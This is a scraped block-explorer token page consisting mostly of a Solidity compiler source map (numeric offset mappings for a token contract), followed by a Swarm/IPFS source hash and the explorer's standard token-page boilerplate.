;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23957:48:0;;24014:4;24021:11;;;;;;;;;-1:-1:-1;;;;;24021:11:0;-1:-1:-1;;;;;24021:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23957:83;;-1:-1:-1;;;;;;23957:83:0;;;;;;;-1:-1:-1;;;;;4006:15:1;;;23957:83:0;;;3988:34:1;4058:15;;4038:18;;;4031:43;3923:18;;23957:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23943:11;:97;;-1:-1:-1;;;;;;;23943:97:0;;;;;;24059:9;;;;-1:-1:-1;;;;;;24059:9:0;;;;;;;23943:97;24059:9;;;23837:296;24154:42;10500:10;24178:9;24189:6;24154:9;:42::i;22393:221::-;12378:6;;-1:-1:-1;;;;;12378:6:0;10500:10;12378:22;12370:67;;;;-1:-1:-1;;;12370:67:0;;;;;;;:::i;:::-;22458:14:::1;:33:::0;;-1:-1:-1;;;;;22458:33:0;::::1;-1:-1:-1::0;;;;;;22458:33:0;;::::1;::::0;::::1;::::0;;;22502:18:::1;22521:7;12665::::0;12692:6;-1:-1:-1;;;;;12692:6:0;;12627:79;22521:7:::1;22529:12;;22502:40;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;4827:32:1;;;;4809:51;;4891:2;4876:18;;4869:34;4797:2;4782:18;;4635:274;22502:40:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;22579:12;10500:10:::0;;10404:115;22579:12:::1;-1:-1:-1::0;;;;;22558:48:0::1;22575:1;-1:-1:-1::0;;;;;22558:48:0::1;;22593:12;;22558:48;;;;1613:25:1::0;;1601:2;1586:18;;1467:177;22558:48:0::1;;;;;;;;22393:221:::0;:::o;12975:244::-;12378:6;;-1:-1:-1;;;;;12378:6:0;10500:10;12378:22;12370:67;;;;-1:-1:-1;;;12370:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13064:22:0;::::1;13056:73;;;::::0;-1:-1:-1;;;13056:73:0;;5116:2:1;13056:73:0::1;::::0;::::1;5098:21:1::0;5155:2;5135:18;;;5128:30;5194:34;5174:18;;;5167:62;-1:-1:-1;;;5245:18:1;;;5238:36;5291:19;;13056:73:0::1;4914:402:1::0;13056:73:0::1;13166:6;::::0;;13145:38:::1;::::0;-1:-1:-1;;;;;13145:38:0;;::::1;::::0;13166:6;::::1;::::0;13145:38:::1;::::0;::::1;13194:6;:17:::0;;-1:-1:-1;;;;;;13194:17:0::1;-1:-1:-1::0;;;;;13194:17:0;;;::::1;::::0;;;::::1;::::0;;12975:244::o;27027:337::-;-1:-1:-1;;;;;27120:19:0;;27112:68;;;;-1:-1:-1;;;27112:68:0;;5523:2:1;27112:68:0;;;5505:21:1;5562:2;5542:18;;;5535:30;5601:34;5581:18;;;5574:62;-1:-1:-1;;;5652:18:1;;;5645:34;5696:19;;27112:68:0;5321:400:1;27112:68:0;-1:-1:-1;;;;;27199:21:0;;27191:68;;;;-1:-1:-1;;;27191:68:0;;5928:2:1;27191:68:0;;;5910:21:1;5967:2;5947:18;;;5940:30;6006:34;5986:18;;;5979:62;-1:-1:-1;;;6057:18:1;;;6050:32;6099:19;;27191:68:0;5726:398:1;27191:68:0;-1:-1:-1;;;;;27272:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;27324:32;;1613:25:1;;;27324:32:0;;1586:18:1;27324:32:0;;;;;;;27027:337;;;:::o;24908:1037::-;25028:11;;24995:4;;-1:-1:-1;;;;;25028:24:0;;;:11;;;;;:24;;;;:45;;-1:-1:-1;12665:7:0;12692:6;-1:-1:-1;;;;;25056:17:0;;;12692:6;;25056:17;;25028:45;:69;;;;-1:-1:-1;;;;;;25078:19:0;;;;;;:11;:19;;;;;;;;25077:20;25028:69;25024:139;;;25121:6;;;;:15;;:6;:15;25113:50;;;;-1:-1:-1;;;25113:50:0;;6331:2:1;25113:50:0;;;6313:21:1;6370:2;6350:18;;;6343:30;-1:-1:-1;;;6389:18:1;;;6382:52;6451:18;;25113:50:0;6129:346:1;25113:50:0;25199:14;;:26;;-1:-1:-1;;;25199:26:0;;-1:-1:-1;;;;;2274:32:1;;;25199:26:0;;;2256:51:1;25178:20:0;;25199:14;;:18;;2229::1;;25199:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25260:14;;:29;;-1:-1:-1;;;25260:29:0;;-1:-1:-1;;;;;2274:32:1;;;25260:29:0;;;2256:51:1;25178:47:0;;-1:-1:-1;25236:23:0;;25260:14;;;;:18;;2229::1;;25260:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25236:53;-1:-1:-1;;;;;;25310:20:0;;25302:70;;;;-1:-1:-1;;;25302:70:0;;6682:2:1;25302:70:0;;;6664:21:1;6721:2;6701:18;;;6694:30;6760:34;6740:18;;;6733:62;-1:-1:-1;;;6811:18:1;;;6804:35;6856:19;;25302:70:0;6480:401:1;25302:70:0;-1:-1:-1;;;;;25391:23:0;;25383:71;;;;-1:-1:-1;;;25383:71:0;;7088:2:1;25383:71:0;;;7070:21:1;7127:2;7107:18;;;7100:30;7166:34;7146:18;;;7139:62;-1:-1:-1;;;7217:18:1;;;7210:33;7260:19;;25383:71:0;6886:399:1;25383:71:0;25482:48;;;;;;;;;;;;-1:-1:-1;;;25482:48:0;;;;;;:12;;25499:6;;25482:16;:48::i;:::-;-1:-1:-1;;;;;25574:19:0;;25551;25574;;;:11;:19;;;;;;25467:63;;-1:-1:-1;25551:19:0;25574;;;:45;;-1:-1:-1;;;;;;25597:22:0;;;;;;:11;:22;;;;;;;;25574:45;25573:89;;25632:30;25636:6;25644:9;25655:6;25632:3;:30::i;:::-;25573:89;;;25623:6;25573:89;25551:111;-1:-1:-1;25701:32:0;:15;25551:111;25701:19;:32::i;:::-;25748:14;;:39;;-1:-1:-1;;;25748:39:0;;-1:-1:-1;;;;;4827:32:1;;;25748:39:0;;;4809:51:1;4876:18;;;4869:34;;;25683:50:0;;-1:-1:-1;25748:14:0;;;:18;;4782::1;;25748:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;25798:14:0;;:45;;-1:-1:-1;;;25798:45:0;;-1:-1:-1;;;;;4827:32:1;;;25798:45:0;;;4809:51:1;4876:18;;;4869:34;;;25798:14:0;;;;-1:-1:-1;25798:18:0;;-1:-1:-1;4782:18:1;;25798:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25878:9;-1:-1:-1;;;;;25861:40:0;25870:6;-1:-1:-1;;;;;25861:40:0;;25889:11;25861:40;;;;1613:25:1;;1601:2;1586:18;;1467:177;25861:40:0;;;;;;;;-1:-1:-1;25933:4:0;;24908:1037;-1:-1:-1;;;;;;24908:1037:0:o;11007:192::-;11093:7;11129:12;11121:6;;;;11113:29;;;;-1:-1:-1;;;11113:29:0;;;;;;;;:::i;:::-;-1:-1:-1;11153:9:0;11165:5;11169:1;11165;:5;:::i;:::-;11153:17;11007:192;-1:-1:-1;;;;;11007:192:0:o;10863:136::-;10921:7;10948:43;10952:1;10955;10948:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;10941:50;10863:136;-1:-1:-1;;;10863:136:0:o;10674:181::-;10732:7;;10764:5;10768:1;10764;:5;:::i;:::-;10752:17;;10793:1;10788;:6;;10780:46;;;;-1:-1:-1;;;10780:46:0;;7887:2:1;10780:46:0;;;7869:21:1;7926:2;7906:18;;;7899:30;7965:29;7945:18;;;7938:57;8012:18;;10780:46:0;7685:351:1;22622:697:0;22781:14;;:40;;-1:-1:-1;;;22781:40:0;;-1:-1:-1;;;;;22808:11:0;2274:32:1;;22781:40:0;;;2256:51:1;-1:-1:-1;;;;;;22781:14:0;;;;:18;;2229::1;;22781:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22845:11;;22754:67;;-1:-1:-1;;;;;;22845:16:0;;;:11;;;;;:16;22842:191;;22889:28;22913:3;22889:19;:6;22900:7;22889:10;:19::i;:::-;:23;;:28::i;:::-;22878:39;;22842:191;;;22948:11;;-1:-1:-1;;;;;22948:16:0;;;:11;;;;;:16;22945:88;;22992:29;23017:3;22992:20;:6;23003:8;22992:10;:20::i;:29::-;22981:40;;22945:88;23056:12;;23053:219;;23104:30;:16;23125:8;23104:20;:30::i;:::-;23149:14;;:48;;-1:-1:-1;;;23149:48:0;;-1:-1:-1;;;;;23168:11:0;4827:32:1;;23149:48:0;;;4809:51:1;4876:18;;;4869:34;;;;;-1:-1:-1;23149:14:0;;;:18;;4782::1;;23149:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23237:11;-1:-1:-1;;;;;23217:43:0;23226:1;-1:-1:-1;;;;;23217:43:0;;23251:8;23217:43;;;;1613:25:1;;1601:2;1586:18;;1467:177;23217:43:0;;;;;;;;23053:219;23291:20;:6;23302:8;23291:10;:20::i;:::-;23284:27;22622:697;-1:-1:-1;;;;;;22622:697:0:o;11207:250::-;11265:7;11289:1;11294;11289:6;11285:47;;-1:-1:-1;11319:1:0;11312:8;;11285:47;11344:9;11356:5;11360:1;11356;:5;:::i;:::-;11344:17;-1:-1:-1;11389:1:0;11380:5;11384:1;11344:17;11380:5;:::i;:::-;:10;11372:56;;;;-1:-1:-1;;;11372:56:0;;8638:2:1;11372:56:0;;;8620:21:1;8677:2;8657:18;;;8650:30;8716:34;8696:18;;;8689:62;-1:-1:-1;;;8767:18:1;;;8760:31;8808:19;;11372:56:0;8436:397:1;11465:132:0;11523:7;11550:39;11554:1;11557;11550:39;;;;;;;;;;;;;;;;;11691:7;11726:12;11719:5;11711:28;;;;-1:-1:-1;;;11711:28:0;;;;;;;;:::i;:::-;-1:-1:-1;11750:9:0;11762:5;11766:1;11762;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;594:548::-;706:4;735:2;764;753:9;746:21;796:6;790:13;839:6;834:2;823:9;819:18;812:34;864:1;874:140;888:6;885:1;882:13;874:140;;;983:14;;;979:23;;973:30;949:17;;;968:2;945:26;938:66;903:10;;874:140;;;878:3;1063:1;1058:2;1049:6;1038:9;1034:22;1030:31;1023:42;1133:2;1126;1122:7;1117:2;1109:6;1105:15;1101:29;1090:9;1086:45;1082:54;1074:62;;;;594:548;;;;:::o;1147:315::-;1215:6;1223;1276:2;1264:9;1255:7;1251:23;1247:32;1244:52;;;1292:1;1289;1282:12;1244:52;1331:9;1318:23;1350:31;1375:5;1350:31;:::i;:::-;1400:5;1452:2;1437:18;;;;1424:32;;-1:-1:-1;;;1147:315:1:o;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2742:388::-;2810:6;2818;2871:2;2859:9;2850:7;2846:23;2842:32;2839:52;;;2887:1;2884;2877:12;2839:52;2926:9;2913:23;2945:31;2970:5;2945:31;:::i;:::-;2995:5;-1:-1:-1;3052:2:1;3037:18;;3024:32;3065:33;3024:32;3065:33;:::i;:::-;3117:7;3107:17;;;2742:388;;;;;:::o;3135:380::-;3214:1;3210:12;;;;3257;;;3278:61;;3332:4;3324:6;3320:17;3310:27;;3278:61;3385:2;3377:6;3374:14;3354:18;3351:38;3348:161;;3431:10;3426:3;3422:20;3419:1;3412:31;3466:4;3463:1;3456:15;3494:4;3491:1;3484:15;3348:161;;3135:380;;;:::o;3520:251::-;3590:6;3643:2;3631:9;3622:7;3618:23;3614:32;3611:52;;;3659:1;3656;3649:12;3611:52;3691:9;3685:16;3710:31;3735:5;3710:31;:::i;4085:184::-;4155:6;4208:2;4196:9;4187:7;4183:23;4179:32;4176:52;;;4224:1;4221;4214:12;4176:52;-1:-1:-1;4247:16:1;;4085:184;-1:-1:-1;4085:184:1:o;4274:356::-;4476:2;4458:21;;;4495:18;;;4488:30;4554:34;4549:2;4534:18;;4527:62;4621:2;4606:18;;4274:356::o;7290:127::-;7351:10;7346:3;7342:20;7339:1;7332:31;7382:4;7379:1;7372:15;7406:4;7403:1;7396:15;7422:128;7489:9;;;7510:11;;;7507:37;;;7524:18;;:::i;7555:125::-;7620:9;;;7641:10;;;7638:36;;;7654:18;;:::i;8041:168::-;8081:7;8147:1;8143;8139:6;8135:14;8132:1;8129:21;8124:1;8117:9;8110:17;8106:45;8103:71;;;8154:18;;:::i;:::-;-1:-1:-1;8194:9:1;;8041:168::o;8214:217::-;8254:1;8280;8270:132;;8324:10;8319:3;8315:20;8312:1;8305:31;8359:4;8356:1;8349:15;8387:4;8384:1;8377:15;8270:132;-1:-1:-1;8416:9:1;;8214:217::o

Swarm Source

ipfs://4a216a33f32b94f3b9fda7a1cf6234eb1e6a2ce010e81c86c876a8357030bf16
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.